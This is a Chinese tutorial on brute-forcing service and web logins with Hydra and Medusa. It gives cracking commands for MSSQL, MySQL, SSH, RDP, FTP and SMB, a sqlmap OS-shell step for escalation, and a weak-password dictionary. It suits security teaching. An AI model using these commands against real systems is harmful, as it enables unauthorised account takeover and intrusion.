[渗透测试] Hydra暴力破解

暴力破解也被称为枚举测试、穷举法测试,是一种针对密码破译的方法,即:将密码逐个比较,直到找出真正的密码为止。

一、C/S架构破解
C/S架构即大家熟知的客户端和服务器架构,这里以SQL Server与MySQL数据库为例。
数据库一般会提供一个默认的帐户,SQL Server的sa用户,MySQL的root用户,Oracle的System用户等。
1.1 SQL Server
首先用Nmap扫描到某个系统开放了1433端口。
使用Hydra软件破解:hydra.exe -l sa -P c:\pass.txt 192.168.1.110 mssql
成功后会打印类似如下的信息:[1433][mssql] host:192.168.1.110  login:sa  password:pwd@123
其他Hydra破解示例:
(1)破解MySQL密码
hydra.exe -L c:\user.txt -P c:\pass.txt 192.168.1.110 mysql
使用-L指定用户名文件,-P指定密码文件
(2)破解FTP密码
hydra.exe -l admin -P c:\pass.txt -t 5 192.168.1.110 ftp
使用-l指定用户名,-t指定线程
(3)破解ssh
hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 192.168.1.110 ssh
使用“-e n”对空密码探测
(4)破解rdp
hydra.exe -l administrator -P c:\pass.txt www.xxser.com rdp -V
破解www.xxser.com的rdp服务,即远程桌面协议
(5)破解 pop3
hydra.exe -l root -P pass.txt my.pop3.mail pop3
攻击者一旦得到数据库密码,一般会做两件事情,一是“拖库”,二是“提权”。
上面破解密码为“pwd@123”之后,可以利用sqlmap进一步来反弹一个与系统交互的Shell用来提权。命令为:

sqlmap.py -d "mssql://sa:pwd@[email protected]:1433/master" --os-shell

攻击者在进行暴力破解时,针对单一目标主机破解的概率较小,更多的是对多台服务器同时破解。


1.2 MySQL
使用Hydra破解Mysql如下:
Hydra.exe -L root -P pass.txt 192.168.1.110 mysql
另一种破解工具:Medusa
medusa -h 192.168.195.129 -u root -P /pass.txt -M mysql

Medusa其他的破解示例如下:
(1)破解smbnt
medusa -h www.secbug.org -u administrator -P /pass.txt -e ns -M smbnt
使用“-h”参数对主机www.secbug.org破解smbnt服务,并使用“-e ns”参数,尝试空密码及账号为密码。
(2)破解MSSQL
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -M mssql
使用“-t”参数指定线程,“-f”指定在任何主机上找到第1个账号/密码后,停止审计。
(3)使用“-C”参数破解smbnt
medusa -M smbnt -C combo.txt
combo文件的格式如下:
192.168.0.20:testuser:pass
192.168.0.40:user1:foopass
(4)破解SSH
medusa -M ssh -H host.txt -U user.txt -p password
使用“-U”参数读取用户名字典文件users.txt
(5)日志文件
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt

二、B/S架构破解
以WordPress为例,介绍如何暴力破解B/S架构的Web Form
WordPress功能虽然很强大,但是在后台登录时却没有验证码,这让攻击者有机可乘。
WordPress很容易获取到用户名,这样的话就可以用工具进行进一步的web表单破解。在破解表单时,需要寻找一个标志位,也就是登录成功与失败的区别点。

利用hydra的例子如下

首先抓包观察登录失败的数据包

[渗透测试] Hydra暴力破解_第1张图片

再抓取成功登录的数据包

[渗透测试] Hydra暴力破解_第2张图片

利用hydra进行暴力破解

[渗透测试] Hydra暴力破解_第3张图片

在攻击的过程中,失败的数据包如下:

[渗透测试] Hydra暴力破解_第4张图片

在攻击过程中,成功的数据包为

[渗透测试] Hydra暴力破解_第5张图片

三、暴力破解案例
3.1 攻击OA系统
搜集用户名是重点。搜集的方式有:1通过邮箱搜集;2通过错误提示搜集。
搜集完用户名之后,攻击者就可以对密码进行暴力破解了,攻击者的密码字典一般都会采取100~300个数量的高命中率弱口令,如果在这些弱口令密码中破解不成功,那么密码就可能较复杂,破解的效率就会大大降低。
3.2 破解验证码
暴力破解验证码经常出现在密码找回、修改密码、交易支付等操作。
当验证码仅有四位,并且在一个相对较长的时间内有效时,可以通过遍历验证码的方法进行破解。

四、防止暴力破解

 密码的复杂性;验证码措施;登录日志(限制登录次数)


弱口令:

123456789
a123456
123456
a123456789
1234567890
woaini1314
qq123456
abc123456
123456a
123456789a
147258369
zxcvbnm
987654321
12345678910
abc123
qq123456789
123456789.
7708801314520
woaini
5201314520
q123456
123456abc
1233211234567
123123123
123456.
0123456789
asd123456
aa123456
135792468
q123456789
abcd123456
12345678900
woaini520
woaini123
zxcvbnm123
1111111111111111
w123456
aini1314
abc123456789
111111
woaini521
qwertyuiop
1314520520
1234567891
qwe123456
asd123
000000
1472583690
1357924680
789456123
123456789abc
z123456
1234567899
aaa123456
abcd1234
www123456
123456789q
123abc
qwe123
w123456789
7894561230
123456qq
zxc123456
123456789qq
1111111111
111111111
0000000000000000
1234567891234567
qazwsxedc
qwerty
123456..
zxc123
asdfghjkl
0000000000
1234554321
123456q
123456aa
9876543210
110120119
qaz123456
qq5201314
123698745
5201314
000000000
as123456
123123
5841314520
z123456789
52013145201314
a123123
caonima
a5201314
wang123456
abcd123
123456789..
woaini1314520
123456asd
aa123456789
741852963
a12345678
123456            
a123456           
123456a           
5201314           
111111            
woaini1314        
qq123456          
123123             
000000             
1qaz2wsx           
1q2w3e4r           
qwe123             
7758521            
123qwe             
a123123            
123456aa           
woaini520          
woaini             
100200             
1314520            
woaini123          
123321             
q123456            
123456789          
123456789a         
5211314            
asd123             
a123456789         
z123456            
asd123456          
a5201314           
aa123456           
zhang123           
aptx4869           
123123a            
1q2w3e4r5t         
1qazxsw2           
5201314a           
1q2w3e             
aini1314           
31415926           
q1w2e3r4           
123456qq           
woaini521          
1234qwer           
a111111            
520520             
iloveyou           
abc123             
110110             
111111a            
123456abc          
w123456            
7758258            
123qweasd          
159753             
qwer1234           
a000000            
qq123123           
zxc123             
123654             
abc123456          
123456q            
qq5201314          
12345678           
000000a            
456852             
as123456           
1314521            
112233             
521521             
qazwsx123          
zxc123456          
abcd1234           
asdasd             
666666             
love1314           
QAZ123             
aaa123             
q1w2e3             
aaaaaa             
a123321            
123000             
11111111           
12qwaszx           
5845201314         
s123456            
nihao123           
caonima123         
zxcvbnm123         
wang123            
159357             
1A2B3C4D           
asdasd123          
584520             
753951             
147258             
1123581321         
110120             
qq1314520 

hydra的帮助信息

wangpeng@ubuntu:~$ hydra -h
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 afp ncp oracle.

Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
E.g.:  % export HTTP_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HTTP_PROXY_HTTP=http://proxy:8080
       % export HTTP_PROXY_AUTH=user:pass

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5


你可能感兴趣的:(渗透测试)